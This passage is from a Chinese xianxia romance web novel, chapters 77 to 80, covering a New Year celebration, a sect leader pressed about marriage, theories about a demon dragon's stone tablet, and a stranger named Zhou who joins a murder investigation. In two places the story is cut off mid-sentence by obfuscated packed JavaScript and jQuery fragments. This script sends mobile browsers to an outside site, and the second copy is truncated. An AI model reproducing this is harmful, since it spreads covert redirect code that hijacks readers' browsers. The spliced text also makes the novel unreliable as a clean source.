他侧过头来看了眼顾云萧,一双比应白眸色还要浅的瞳孔带着隐隐笑意,“当时石碑问世,举国皆知,前几日听闻石碑印记又有人点亮,姑娘可知是哪位高人?” 顾云萧眼睛一亮,顿时笑得灿烂,她又向容珠和邱梧发起一个眼神交流,然后对男人道:“公子刚来都城,不知道也正常,点亮石碑的三个人皆出自紫阳宫,紫阳宫宫主和善亲切,公子若感兴趣,直接拜访便可。” 队伍又朝前挪动了几步,男人礼貌地笑了一下,没有继续说话。 “我也是刚来都城不久,寻我爹爹一起过年,相逢既是有缘,小女姓顾,不知公子怎么称呼?” 顾云萧的语气完全不像是在跟一个陌生人谈话,她很自然地站在男人身旁,没人能看出来她其实和后面两个女孩子是一起的。 容珠注意到身后有不少排队的女子在对这个男人窃窃私语,她们拿袖子捂着半张脸,声音透露着喜悦,眼角弯得已经看不见眼睛了,压着尖叫的声音嘶哑道:“太帅了,把上官公子都比下去了,这可如何是好……我不想做选择……” “顾小姐。”男人再次保持着笑容看着她,他前面的客人已经结完账了,男人朝柜台伸手道:“相逢既是有缘,顾小姐先请。” 顾云萧似乎没想到他如此具备君子之风,十分受用地笑道:“多谢。” 容珠和邱梧站在队伍外等她,男人的目光有意无意朝这边看了一眼,目光流露出了显而易见的别有深意,让容珠有一瞬间以为他认识邱梧。 “公子请。”顾云萧已经结完了账,男人把单子递给老板后朝顾云萧道:“在下姓周,今日认识姑娘倍感荣幸。” 77. 新年好 夜幕降临,雪停了。 道路上的积雪被紫阳宫的弟子们扫到了两旁,湿漉漉的地面混合着夜里的寒风泛起阵阵凉气直往人骨头里钻。大红灯笼沿着房檐排排挂好,摇曳的烛光倒映在装点枝干的假花上,一路上不见昏暗,哪里都是红光一片。 紫阳宫的礼堂经弟子们一整天的布置变得火红潋滟,十张桌子绕着正中间宽阔的舞台错落摆放,要是在堂中贴个囍字,说这是一个成亲场地也不为过。 沈宫主等人来到主桌落座,容珠还是第一次见到紫阳宫的所有弟子齐聚一堂,这场面与她在清凌门过的每一个新年都十分相似,但她知道,这里完全不同。 “怎么桌上只有烧酒,今春酿的果子酒呢?都快拿来,别叫我知道你们还藏着!”沈宫主对众弟子佯怒,堂中大笑一片,弟子们互相指认,一时间人声鼎沸。 待吃得半饱之时,弟子们便互相推举着谁谁谁要上台表演。容珠从邱梧口中得知他们都是私下排练好的,而有些是过年前几天临时想出的,表演尚有不完美之处…… 果然,容珠看到有些跳舞的弟子在台上不小心摔跤,变着花样舞剑的弟子不小心把剑甩了出去,插在某桌的一只烤全鸡上,说故事的弟子说着说着编不下去了仓促收尾…… 顾云萧嚷嚷着也要上去,上官琛吃着麻辣鸡腿看着她:“你会什么?” “我会……“她拿出一支鸡毛在上官琛眼前晃悠,灵动的眼睛滴溜溜转了几圈,一个快速的动作过后,鸡毛竟成了一只小鸡,“……变戏法!” 众弟子发出激烈的鼓掌声,上官琛停下咀嚼,难以置信地盯着眼前的小鸡,黄绒绒的小鸡朝他的手指啄了一下。 “大家静一静,你们想看我变什么啊?”顾云萧笑嘻嘻地站在舞台上环顾四周,下面有人说再变一只烤鸡的,有人说变魔兽,有人说变小狗。 金毛叫了两声。 大家七嘴八舌说变这变那,顾云萧准备的道具很显然没有这些,一只小鸡就已经在她的袖子里啄来啄去了,她用一支鸡毛变了一根毛笔,用毛笔变了一朵红花,用红花变了一条手链。 台下人声鼎沸,一时间热闹非凡,沈宫主拍手助攻,顾寄章灿然一笑,上官琛给这只不停地在啄自己的小鸡掰了一小点馒头放在它眼前。 年夜饭后,上官琛吆喝着去街上,顾云萧带着白脸粉舌头的魔鬼面具跟着上官琛率先跑出了紫阳宫大门。 邱梧让容珠拿上魔鬼面具一同去街上,二人行至院前,容珠惊讶地发现自己门前已经扫出来一条小道了,她可没做这事。 “自然是有心人干有心事。”邱梧像是特意放大了声音,应白漆黑的身影在树下一顿,似是朝这边看了一眼,随后回到了屋里。 街上灯火辉煌,人头攒动,所有人都带着魔鬼面具,一种诡异的喜庆感在四周蔓延。 白天摆摊的铺位现在已经换成各种喜庆玩意和杂技表演,嘈杂喧嚣的声音震得容珠耳朵嗡嗡响,不算宽敞的道路很快就挤得水泄不通,容珠心觉这面具有些妨碍视线,如果能摘掉面具看街景一定更舒畅,更美丽。 “今夜子时在天星台有烟花晚会,我们得占据一个好地角,不过看这拥堵的情况,恐怕走过去就已经到子时了。” 容珠认为邱梧说得太夸张了些,不过眼下的情形的确只能看见人头,哪怕伸长了脖子想看点什么也只是把周围人的头看得更清楚了而已。 她本来还怕自己被挤得和众人分离,但她一直紧挨着应白,和他的衣袖相互摩擦,不曾想就在不经意间,她冰凉的手便触到了对方。 这其实没什么,无非是不小心之举,但得知了对方心思和自己心思后,这个不小心之举所带来的感觉便开始在心里发酵…… 她心道:“这便是喜欢一个人的感觉吗?那师父会不会跟我有同样的感觉?” 她下意识想去看应白的神色,忽然意识到大家都戴着面具,什么也看不到,明明冰凉的双手现在只有那一只热得出奇。 容珠握住另外一只手想中和一下温度并搜肠刮肚想个什么话题跟邱梧聊聊转移自己的注意力,谁知这才发现邱梧早不知道被挤哪去了。 一阵喧嚣鼎沸之声从前面传过来,人群猛然更拥挤起来,伴随着震耳欲聋的欢呼声,容珠一下子被推挤到了一边,胳膊抵在栏杆上。 清冷的寒风从水面上吹来,手中的温度又凉了下来,她四处搜寻应白的身影,但密密麻麻的人看起来都长一个样。 原来前面有个杂技摊,方才正表演到精彩处,一下子把人吸引过去了,眼瞧前方的路被堵得死死的,容珠只好绕桥而行,她心想反正大家都会去天星台看烟火,不如就去那里跟他们会面。 沿路的积雪都被扫得一干二净,每走几步都有一个不同模样的雪人站在栏杆后朝人微笑,一路上各有新奇景象观看,待走到天星台时容珠已累得哈欠连天。 哈欠打了一半登时被脚趾传来的疼痛中断,她心知是自己没看见阶梯被拌着了,眼瞅着身子不由自主朝前倒,就要一脸栽在前一级台阶上时,忽然有一双手及时地扶住了她的双臂。 透过面具的眼孔,容珠看到一只白皙细腻的手握着自己,藏青色的衣料微微一抖,露出包扎在手腕上的一截被血渗透了的绷带。 鲜血的醒目似乎与周遭的喜庆热闹格格不入,她抬起头看见了一张清晰直观的熟悉面容。 浓墨的眉,浅棕色近乎发黄的眸子,似精心捏造的鼻子和嘴巴,这样一副面孔陡然穿过狭小的面具眼孔到达容珠眼底时反而让她心里吓了一跳。 他没带面具,藏青色的衣服让他看起来更加干净有风度,他浅浅一笑,收回了手,一句话也不说,转身就要走。 “谢谢你。”容珠认为她应该说这句话,即便她总感觉这人透着股寒凉,就像冬天的阳光再怎么耀眼,四周的环境也是寒冷的。 他微微点头,转身步上了台阶,往天星台的方向去,消失在了人群中。 “他怎么受伤了?”容珠心里奇怪,兴许那天在成衣铺的时候他就已经受伤了,不过人生在世,谁还不会受点皮肉伤呢? 容珠在天星台四处张望,一直没能看见邱梧和应白,连上官琛和顾云萧都没看见,不过她好像看见了沈宫主的侧脸,沈宫主也没带面具,她正沉浸在节日的喧闹中,不小心踩到了顾寄章的鞋子。 二人在拥挤的人群中显得十分优雅稳重,倒是容珠感觉自己在被周围的人不断推着朝前走。 照这样下去,岂不是烟火开始的时候连脚踩的地都没有? 要是能站在屋顶上看烟花,一定比在天星台上要好得多,就像上次花灯节,应白带她到屋顶上看景一样,而且站在高处更容易找人。 她抬头正物色一个合适的屋顶,没想到有一个人已经有了先见之明。 正是那位手腕受伤了的“仙君”。 月亮在他头顶上方,像他一双浅色的眸子似的散发着清冷之光,他不偏不倚,视线直直地落在容珠身上。 不知怎的,容珠打了个寒颤,一种不舒服的感觉包围着她,她顿时打消了上屋顶看烟花的想法,索性走进那人所站的那处高楼里,看不见他,也不想被他看见。 子夜一到,天星台中央摆满了炮筒,似乎朝荣国所有的人都挤在了这里。随着放炮人的高声呼喊,一束束炮筒被点燃,震耳欲聋的爆炸声很快淹没了所有人的欢呼和呐喊。 容珠仰头看着一个个五彩斑斓的烟花在空中绽放,仿佛同一时刻心中也有一束小小烟花在爆破,一下一下敲打着胸脯。 人们陆陆续续摘下面具凑到近处烛台上点燃,而在这 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好巧不巧,她余光中瞥见人群中有一片紫衣闪过,邱梧、上官琛和顾云萧在对面说说笑笑。天星台喜气洋洋,人们都在互相祝福道贺。 朋友这两个字对于从前的她来说是世上不可能存在的东西,不仅不会存在,反而还很可笑。应白一定会理解她心里的感受,因为他们来自同一个地方,这种从同一片土地诞生的缘分让容珠来到朝荣国以后对应白产生了更多亲切。 “我真希望以后的每一年都能和师父一起度过。” 漫天烟火与繁星辉映,她仰头沉浸在自己的喜悦中,忘记了自己是谁,这是哪里。 她的眸光又黑又亮,绚丽的烟火映在其中分毫不减瞬间的美丽,也在这一瞬间,应白忽然很庆幸自己当初被关入漩涡之境。 那是他人生中的变故,是意外,人的一生又能遇见多少变故与意外? 容珠进入漩涡之境就是他人生中的第二次意外。这份意外很特殊,它就像一束烟火,把他前期经历的不如意,那些本该是他灰色记忆的部分全都炸出了色彩,好像在里面的四年,每一瞬间,每一刻钟都是在为将来遇见容珠而做准备。 也正因为容珠的出现,应白才渐渐发现,命运的这份安排不是让他再去怜悯一个弱者,不是再给他对众宣扬仁爱的机会,不是让他心生一段感情,而是让他真正认识到自己是谁。 他口口声声宣扬仁爱,而自己却是一个心中有私欲的人。 他一开始想让容珠做自己的徒弟以求将来自己有危险时她能保护自己。后来容珠扶他回东林山他又不想让容珠做自己的徒弟,因为做了徒弟就无法进一步与她产生更多可能。再后来他想了想,还是让容珠做徒弟吧,因为可以让她理所应当地陪在他身边。 容珠一次次过度使用灵力来保护他的时候,容珠一次次抓住他信任他的时候,他对她的感情与日俱增,有时候在明知自己是她师父的情况下还是抑制不住对她接近。 譬如此刻。 他的种种想法和行为都与他宣扬的仁爱背道而驰,与他所认为的人不应该有恶大相径庭,可是又有一瞬间,他想,世间再没有比她幸福快乐更重要的事了。 他放下了想去抚摸她脸庞的冲动,忽然明白,他要做的是守护而不是渴望。 高楼上,周公子浅棕的眼眸别有深意地看着应白,似乎将他所有的动作与心思看到了眼底。 容珠忽然想到了什么,她抬头看向那高楼的顶端,见那人还站在上头眺望远方,“师父,屋顶上那人就是成衣铺里的美男,那位姓周的公子。” 应白顺着她的目光看去,过了好一会儿,他道:“他有些眼熟。” 容珠眯起眼睛仔仔细细将这位周公子打量了一遍,“的确有一种熟悉的感觉,他的眼睛很特别。” 78. 说对象 清凌门。 容檀在座椅上挺直身子接受弟子们齐齐朝她敬酒,她灿然一笑,说了几句鼓励他们的话后让他们落座。 按照她以往的脾性,吃两口年夜饭就要回屋修炼,但现在不一样了,她是掌门,不是一个决定自己想干什么不想干什么的自由姑娘。 即便心觉过年没什么意思,她也得坐这儿镇场子。这倒也没什么,掌门有掌门的权力,自然也有相对应的责任,让容檀不高兴的是另外一件事。 清凌门的弟子自从门派被降级后,几乎每个月都有一两个要走的人,如今宽敞的大堂一共才有不到百名弟子,即便是低灵门派也不会这么寒酸。 容檀面上在笑,心里却不是滋味,但她已经在尽自己最大的努力去留住清凌门的弟子,若弟子们真的要走她没有办法。 这不是尊卑强弱问题,而是利益选择,弟子们不看好清凌门就可以收拾包袱令去别的门派,哪里都是一样。 拜高踩低不止存在于人与人的灵阶之间,还存在于这个世界的方方面面,如果一个门派的弟子都走光了,那这个门派哪怕是高灵门派也会沦为所有人的笑柄。 她提前跟爹爹商量过,借着过年的由头,给这里的每位弟子赏一颗帮助提升灵力的精丹,外加一颗固本培元的丹药。 容檀可是下了血本,这种精丹换做以前都只赏给出色弟子,而此时留在清凌门中的弟子多半天资差,对他们而言,就算离开清凌门也不会有更好的去处,肯定会待在这里捡便宜。 弟子们听到赏赐面露惊喜,纷纷起身对容檀行礼表达谢意。 面对一桌子的丰盛佳肴,容檀忽然间没了食欲。她夹了一片凉拌苦瓜放入嘴中,连逸瞧了她一眼,拿起乘着八宝甜糕盘子旁的勺子舀了一小块蜜糕放入容檀盘中,“蜜糕里放了玫瑰花瓣,掌门多吃点。” 容江正笑着对弟子们说些过年话,眼角余光注意到了蜜糕和连逸,而容檀面无表情地移动眼珠子看了连逸一眼,像在拒绝又像在困惑。 近段时间以来连逸总是做些在自己面前晃悠的事,好像把所有的一切都给她安排得明明白白,周到细致,但容檀心里还记着上次应白那事。 但凡涉及到应白和容珠,连逸便不把她这个掌门放在眼里,堂堂清凌门弟子去帮外人,在容檀心里,连逸就是不可饶恕的。 她瞥了眼自己碗里的蜜糕,下意识扫了一眼诸名弟子,发觉没人注意到连逸这动作,随后,她拿起筷子越过蜜糕,又夹了一片凉拌苦瓜。 苦瓜泻火,容檀认为自己需要多吃点。 连逸对她的态度习以为常,他不是真的想让容檀解苦,也或许有那么三分对她产生了体谅,他主要是想告诉她,人与人之间不是只有利益交换和尊卑之分,普通人与普通人之间也可以互相关心。 他不知道自己每做一次关切的举动,在容檀心里都更加讨厌他一分。 因为连逸不顾一切想为应白做点什么的时候,他的表情和动作才是关心的真正表现,而不是他天天端茶送水,嘘寒问暖的假殷勤! 外面鞭炮声不断,容檀越想越气,脸上丝毫没有过节的喜庆。 这个时候,容江放下酒杯问:“爹看你如花似玉的年纪却因处理门派琐事而显得疲惫瘦黄,檀儿若觉得累,可以跟爹爹说。” 这话让容檀一时间不知道爹爹想表达什么,自她当上掌门后,容江说过好几次自己不插手事务,只要不是大事,其他的都让自己做主。 她笑道:“刚开始的确累,已经在这个位子上做一年了,不会的也会了,不熟练的也熟练了,再说,哪个门派的掌门是轻松的,爹爹不必忧心女儿。” “唉,前段时间我出去游历的时候听说水照在给她女儿水落泽物色夫婿,你也知道水落泽,中灵实力,又是一派掌门的女儿,可不是一般男子能配得上的,那个时候,我就意识到我也有个优秀漂亮的女儿。” 容檀慢慢将目光移向爹爹,他面色如常的脸上看不出喝醉的痕迹,怎么开始说起这事了? 连逸忽然意识到接下来要讨论的话题,他站起身道:“既然尊主和掌门有事要谈,连逸先告退。” “先别走,我一会儿有事与你说。” 容檀问:“爹爹想说什么?” 容江依旧和蔼笑道:“我想说的很简单,如果檀儿有了中意的男子,大可与爹爹说,不必顾忌清凌门的责任,你背后还有爹爹。” “爹爹说笑了,檀儿并无此想。”容檀说得直接,余光看到连逸一动不动地坐在那,心里不明白为什么这种事情爹爹不在私下跟她说。 “我知道檀儿一心在提升灵力,在承担清凌门的职责,可不管是女子还是男子,到了年纪都是要婚配的,檀儿这么优秀,我身为爹爹,一定希望你的郎君同样优秀稳重,最好是咱们熟悉的人,知根知底,我也放心。” 外面的鞭炮声噼啪作响,像在人心里不停地打鼓,连逸垂眸盯着面前的茶水,脑子里渐渐冒出应白被清凌门弟子抓回去那晚,他端着玫瑰桃胶玉露看到一身白衣素雪,轻挽头发的容檀站在月光下的情形。 他心内一揪,抬眸看到那一小块蜜糕还在容檀盘子里不曾动过。 容檀的目光从蜜糕上移走,轻哼一声道:“女儿天赋异禀,未来的夫婿一定不能比我差,据女儿看,咱们认识的人里似乎没有人比女儿优秀。” 容江笑道:“现在没有,不代表将来没有,檀儿要记着,不是每个人都喜欢彰显自己的灵力水平,而且灵阶标识也算不得数,不是吗?” 弟子们的欢闹声从外面隐隐传来,像是一声声嘲笑直击容檀心底,因为她想到了一个人,她知道她所认识的人中,有一个人的确不喜欢彰显自己的灵力水平。 蜜糕上的玫瑰花瓣即便被做成了食物仍然显得清甜娇嫩,容檀其实很喜欢吃,但这一块不行,好像吃了就会丢失自己想凝聚的高贵之姿。 连逸如坐针毡,他感觉自己像个外人似的在这里坐着,听着跟自己无关且有些私密的话。 到了年纪就婚配是千百年流传下来的不成文规矩,即便此刻容江是在跟容檀谈论结婚对象的事,连逸也立马意识到在此之前他从没想过自己将来娶妻的事。 他无父无母,自懂事有思想开始,他就知道人这一生最有出息的活法就是成为修炼之人,且灵阶越高越好,所以他想法子求师修炼,直到来到清凌门。 他十分珍惜如此难能可贵的机会,于是刻苦修炼,好像他的一生只需干这一件事。若问他:你想不想要娶妻呢?一个答案紧接着告诉他:那不是我要做的事。 娶不娶妻对他而言没有任何影响,况且娶妻都是利益合作,修真界里,两个弱者在一起抱团取暖,两个强者在一起继续冲锋。 但容檀不一样,她不是一个普通人,她出身门派家族,清凌门若想不倒,就必须得有血脉继承者,容檀的夫婿不能很弱,也不能有背景,否则绝不会同意入赘。 她的夫婿会是什么样的人?什么样的人能配得上她? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920922|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “连逸?” 连逸忽然被特意提高了声音的呼唤回过神来,容江若有所思地看着他,开玩笑道:“你该不会喝醉了吧?我叫你几声你都没听见。” 连逸自知失礼,忙垂首道:“刚刚在想给圣灵宫的新年贺礼是否已准备妥当。尊主有何事与我说?” 他余光瞥见容檀正垂眸看着桌边的盘子,听容江道:“我知道你一直在为檀儿分忧解劳,但该歇息的时候还要歇息歇息,我看你们二人都年纪轻轻的,眉眼间却尽是疲惫,我上年纪了,想贪图贪图轻松,可别因我之故让你们小一辈的因为种种责任与琐事压得喘不过气来。” “尊主言重了,掌门要操心的事多得多,连逸在掌门身边是真切希望能辅助掌门,这些不算什么。” 容江顺着他的话头往下道:“你是清凌门最俱潜力也是最优秀的弟子,你现在每日修炼多长时间?” “晨起修炼半个时辰,晚上修炼一个时辰。” 这点修炼时间其实远远低于从前清凌门弟子的日常修炼时间。 “哦……”容江思索了一会儿将方才对容檀说的话题转移到了连逸身上:“你今年也有二十二三了吧,可有娶妻的想法?或者……有没有心仪的女子?” 这就是尊主要他留下跟他说的事? 连逸心里疑云重重,二十四五远过了嫁娶的年纪,尊主今晚突然提这个话题是想做媒吗? “连逸……并无此想。” 堂中静默了一会儿,有些弟子玩饿了再进来安静地吃两口,然后去外面继续欢庆热闹,隐约听见“闪开,你不行!”“你怎么这么笨?”以及“哦吼,被炸了被炸了!”之类的话。 “既然如此……”容江随意地喝口酒,然后道:“周公在唤我,我去找他了。” 他说走就走,话题来得突然,人走得也突然,饭桌上忽然就剩下两个人,一时间无比别扭。 目送容江离开后,容檀闷声道:“你若累了就去休息吧,今日不处理事物,不必跟在我身边。” 连逸起身,朝门外走了两步后又驻足回头,对上容檀投来的冷漠不开心的目光,他和声道:“掌门新年好。” 他说完就转身走了,因为他知道容檀不会理他,他也能感受到这段时间她不太喜欢他。 或者说,她一直都不喜欢他。 回到清净的院内,容檀坐在门前冰凉的石阶上看着月光。掌门的责任,修炼迟迟不得进展以及连逸对自己的不尊重通通涌上心头。 她觉得自己根本不会让清凌门一雪前耻,根本不会再突破中灵到达高灵,根本震慑不到连逸让他为清凌门效忠。 而她还要在不久的将来跟一个男人成亲,为了清凌门能继续传承下去…… 对容檀来讲,成亲就是强强联合,互相采阴补阳来增进彼此的修炼,这里面没有爱情,涉及到爱和情的东西都是无用且低贱的。 成亲是她必做的一件事,因为她是清凌门的掌门。 容檀抹去了脸颊上的两行湿意,站起身昂首挺胸地看向远方。 既然是必须要做的一件事,她就该好好物色一个合适的男子,清凌门只是受辱但底子雄厚,如果将来能步入中灵或高灵之列便是修真界的佼佼者,所以容檀不会同意因为成亲而合并门派,或者被男方的门派吞噬的情形。 她要的是一个拥有实力且毫无背景的优秀男子。 这样的人需要留心去找,明天她就会跟爹爹说,让他闲时帮忙相看。 79. 真可爱 寒冷的冬日一天天过去了,自从沈宫主在刑台说出那一番准备跟赵皇帝势不两立的话后,朝荣国似乎处在一个平静安稳的时期,各派之主仍然要出席早朝,不过赵皇帝取消了三跪九叩的礼仪。 要说朝荣国最近有什么事发生,那便是赵皇帝新纳的沈美人公然顶撞皇后,李贤妃替皇后打了她一巴掌,赵皇帝认为李贤妃野蛮无礼,不仅囚禁了她,还夺走了她母亲的权力,打算让六岁的四公主另让他人辅导。 第二件事便是都城出了一桩命案,一位七品官员名叫刘常者被人从后面袭击砸伤了脑袋,当场毙命。 对于朝荣国来说蓄意谋杀百年来从不曾出现过,而且这种属于特大重罪,凶手会面临朝荣国的酷刑之一:当众斩首。 此事闹得沸沸扬扬,人人惶恐,官府为了这事一边忙着安抚百姓,一边彻夜调查案情,然而到现在连凶手的影子也没捕捉到。 按说紫阳宫只负责除妖降魔,不参与办案以及民间纠纷,但今日早朝时,沈宫主听出了赵皇帝的言外之意。 很显然,赵皇帝想尽快平息此事,他认为官员无用,连个凶手都查不出来,似乎认定这种小事对于朝荣国灵力之首的沈宫主来说是小菜一碟。 关乎百姓安宁,沈宫主明知这件事不在自己的职责范围内,但还是愿意协助查案,三皇子请命一同去查,赵皇帝没有异议。 “阿姐,你敢信吗,朝荣国现在都有命案了。”上官琛又惊又气,他们都知道魔龙是始作俑者,它蛊惑了朝荣国不知多少人,让人们心中开始产生欲念,各怀己思。 “再过几天魔龙又要苏醒了,难道除了点亮石碑外就真的没有彻底杀死它的办法吗?” 邱梧十分愁苦,“每一次苏醒它都有新的花样,它已经把朝荣国搞得乌烟瘴气,还不知道这次醒来又要做什么。” 容珠想起了自己诛杀魔龙的场景。 她一直不知道那抹痛为何会突然出现,虽然只痛了一下,但却一直在心里绵绵翻涌。 紧接着她便看到了那副不知真假的画面:美丽的奚昤和只有背影的苍望,还有那条在他们中间欢快游乐的小龙——魔龙。 容珠可以肯定那一定是魔龙,她只把这件事告诉过应白,应白还问她为什么那么肯定那两个人是奚昤和苍望。 容珠说:“我能感受到灵核的微妙变化,就像走在路上碰见熟人要打招呼一样。” “他们是朋友。” 这话有点像问句也有些肯定。 如果按照这个逻辑,魔龙应该是拥有天神之爱才对,又怎么会是伤人放火的魔头呢? 容珠大胆猜想:“会不会是它本来就有凶性,不过因为奚昤有爱之力所以才得以控制,当奚昤仙逝以后,魔龙就恢复了本性?” 应白摇摇头:“魔龙处事有很多矛盾之处,根本让人猜不透它到底想干什么,如果点亮石碑上的全部光芒就能杀死它,它为什么不毁了石碑或者杀了点亮石碑的人呢?” “天哪!朝荣国所有人都已经去石碑处验过血了,然而点亮石碑的只有你们三个,难道点亮其他光芒的人还没出生吗?”顾云萧响亮的嗓门拉回了容珠的思绪。 上官琛皱眉看她:“别忘了,没点亮石碑的人不一定永远不能点亮,我阿姐就是,再说,你总是咋咋呼呼地做什么?” 顾云萧瞪了他一眼:“这样的话,那我每天都要去石碑验验血,指不定哪天就成了呢。” 她忽然转换了一种表情,跑到上官琛跟前带着怨气道:“你可得好好教我修炼,万一我哪天点亮了石碑,但是灵力太低,杀不了魔龙,都是你的问题!” “怎么就是我的问题?你要是不偷懒肯吃苦,至于连个小妖都除不掉吗?” “我不管!反正你答应教我修炼,我修炼不好就是你的问题!” 上官琛忽地起身,抓住顾云萧的手腕就要离开,“走,现在就去练!” 顾云萧扬声道:“练就练,不过我今天还没去验血呢,回来再练……” 说完,她挣脱了上官琛的手,一溜烟跑远了。 两人一走,周围又安静了下来,金毛蹲在容珠身边,毛茸茸的尾巴扫着容珠鞋面。 邱梧叹息一声道:“没点亮石碑的人不代表永远不能点亮,朝荣国这么多人岂不是要一直验下去,直到有人点亮……” 若这样的话,不知道要耽搁多久,到时候还不知道魔龙把朝荣国糟蹋成什么样呢。 “应该需要契机。”应白从地上抓起一把石子放在右手里,左手拿出一颗放在桌子上道:“容珠因为体内有奚昤神力所以点亮了一道光芒,奚昤神力的特征是无私之爱。” 他又拿出第二颗石子放在第一个石子旁,“阿琛因为亲手杀死过七次魔龙而点亮石碑,魔龙曾说上官琛很勇猛,显然石碑的这道光芒是勇猛者才能点亮,而邱梧……” 关于邱梧为什么能点亮石碑,容珠跟众人说的是邱梧当时在石碑前思考为什么会有两个世界,以及海屏障是否应该存在于世。 其实容珠和邱梧都不太确定到底是哪一点才让石碑重新认可了她。 邱梧怀疑是因为她阻止了自己想毒害容珠的念头,正如容珠所说,她凭一己之力成功抵抗了魔龙在她身上的蛊惑,或许是这份清醒克制导致的结果。 这件事容珠明白邱梧的顾虑,这是她们之间的小秘密,她不会对任何人说。 第三颗石子放在桌子上,应白道:“或许智慧便是这道印记所需要的品质,又或者还有别的因素。” 应白又拿出四颗石子一一排在后面,指尖一颗颗略过,分析道:“每一道光芒都代表一个特征,如果谁人身上具备了这种特征谁就能点亮石碑,而石碑是从魔龙体内诞生的,魔龙一定知道石碑所需要的七种品质是什么。” 邱梧道:“我记得魔龙曾说世人众多,每个人都有各自品质,它并不知道这些印记需要什么样的灵魂来点亮。” 她顿了顿又补充道:“或许它在说谎。” 点亮了七道光芒就能真正杀死魔龙,谁又会堂而皇之告诉对手自己的弱点是什么? 应白在摩挲手里剩下的两颗石子,“整个朝荣国的人太多,我们无法去研究他们各自拥有什么样的品质,每个人每天会发生各种各样的事,有些事的确会激发一个人的能力,唯今之计,只能让百姓继续献血……” 这样无疑十分被动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928604|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 摩梭石子发出的声响吸引了金毛的注意,它走到应白腿边将湿润润的鼻头抵在应白手背上,应白知它想法,将一颗石子给金毛嗅了嗅,接着抬起手臂扔向了远方,金毛一溜烟就跑了过去。 “有没有一种可能……”容珠打算说出自己的大胆猜测,“点亮石碑的人不一定在朝荣国呢?我就不是朝荣国的人。” 应白歪了歪脑袋,邱梧缓缓睁大眼惊讶道:“两个世界的人?” 这很难让人相信。毕竟那里的人不近人情,冷酷决绝,一点都不像拥有美好品质的样子。 “师父,你还记得吗?我们那次去魔龙洞穴,苍望雕像身边的光柱仍有一小部分白色光芒,我们还看过里面的场景呢,有一些我们不认识的人。” 尽管那个世界不是每个人都邪恶,但若把那里的人带到朝荣国很难想象会引发什么样的后果。 万一暴露了朝荣国的存在,圣灵宫得知这件事还不知道要做出什么举动。 不过在听到白色光芒四字时,应白又想起当时容珠不让他看到的那个粉衣女子。 他本来想好好回忆那件粉色的衣服究竟在哪里见过,但后来发生的事让他把这件事彻底忘了。 与此同时,他忽然就想起了那件粉色衣服是圣灵宫婢女的衣服样式…… 刹那间,他的记忆通透了……当初他为了救被当作昌修生辰礼的容珠,在左舒的小道与她相遇时,她穿的就是那件粉色的婢女服饰。 难道在白色光芒中,那个穿粉衣的是容珠? 有什么事情是她不想让自己看到的? “嗯……”他意识到自己还没回复刚刚容珠的话,强制把自己的思绪拉了回来。 “点亮石碑的人不一定是朝荣国的人……你的确不是朝荣国的人,但你有点特殊,不是每个人都有被神灵的神识附身的机会。” 此时,金毛已经从远方叼着石子跑了回来,冲应白拼命摇尾,目不转睛地盯着石子再一次划向空中,它也撒欢奔去。 “师父这样说,好像我一点优点都没有。” 应白没料到容珠会忽然朝他……抱怨?责怪?伤心? 他端详着她的表情,她目光看向另一边,神情有一点失落,他解释道:“我并无此意,只是对石碑而言,的确是……” 他忽然停顿了一下,要说的话在喉头滚了一圈,改口道:“其实从一开始都是我的猜测,没人确定你为何会点亮石碑,你当然有优点,坚强、聪明、勇敢、可……” 他卡住了。 容珠正因他的戛然而止而略显疑惑地看着他。 对着这张总让他怦然心动的脸,应白的心此刻像有只金毛在里面奔跑。 远处的金毛再一次衔着石子跑了过来,只听邱梧唤道:“金毛,来这里……” 金毛摇晃着尾巴跑了过去,邱梧从它嘴里接过湿漉漉的石子,故意在它鼻子上方转圈。 金毛直起身子想抓,但一直抓不到,邱梧笑道:“你真笨,就在眼前啊,喜不喜欢?想不想要?” 金毛十分机灵地抓到了石子,邱梧摸摸它的头,“哇金毛,你真可爱。” 容珠顿觉一片热意涌上脸颊。 80. 断案人 若点亮石碑一事牵扯到了另一个世界,很难说朝荣国会不会因此而更混乱,从现实角度来考虑实在难以实施,因此这个想法便就此搁置了。 朝荣国命案因为三皇子和沈宫主的降临而引来更多人关注,被杀官员刘常的妻子孙氏和小妾云氏哭天撼地地乞求三皇子找出真相,为她丈夫伸冤。 三皇子一边让人保护好命案现场,一边安抚刘常妻眷。 死者整个身子趴在地上,双眼惊恐,嘴巴微张,地面溅了一部分血,后脑流出的血晕染了后背大部分衣服,死状凄惨。 沈宫主已经过了半辈子了还没遇到过命案,哪里懂得断案之术。 三皇子曾翻阅刑部历来断案之法,发现卷宗寥寥无几,上头的灰尘似是给卷宗过冬盖的厚被子,内容只是吵架斗殴,所记载的根本没有命案先例。 距离命案发生已经过去了四天,三皇子道:“天气渐暖,尸体不宜久放,还是尽快入土为安的好,我现在去叫人把场景画下来,争取明日下葬。” 说话时有下属来报:“禀殿下,门外有一公子称会仵作验尸之术,看一眼尸体就能推断案发过程,想协助办案,殿下看是否召见此人?” 当下属领着二人来到门口时,只见被围的水泄不通的门口前赫然站着一个长相似画出来的男子,他就这么笔挺地站在人群中,与周围的一切相比显得格格不入,无端让人觉得恍惚。 下属道:“禀殿下,正是此人。” 三皇子细细打量这个长相俊美,年纪跟自己差不多的人道:“你叫什么名字?” 男子十分优雅地行了一个礼:“草民姓周,名望。” 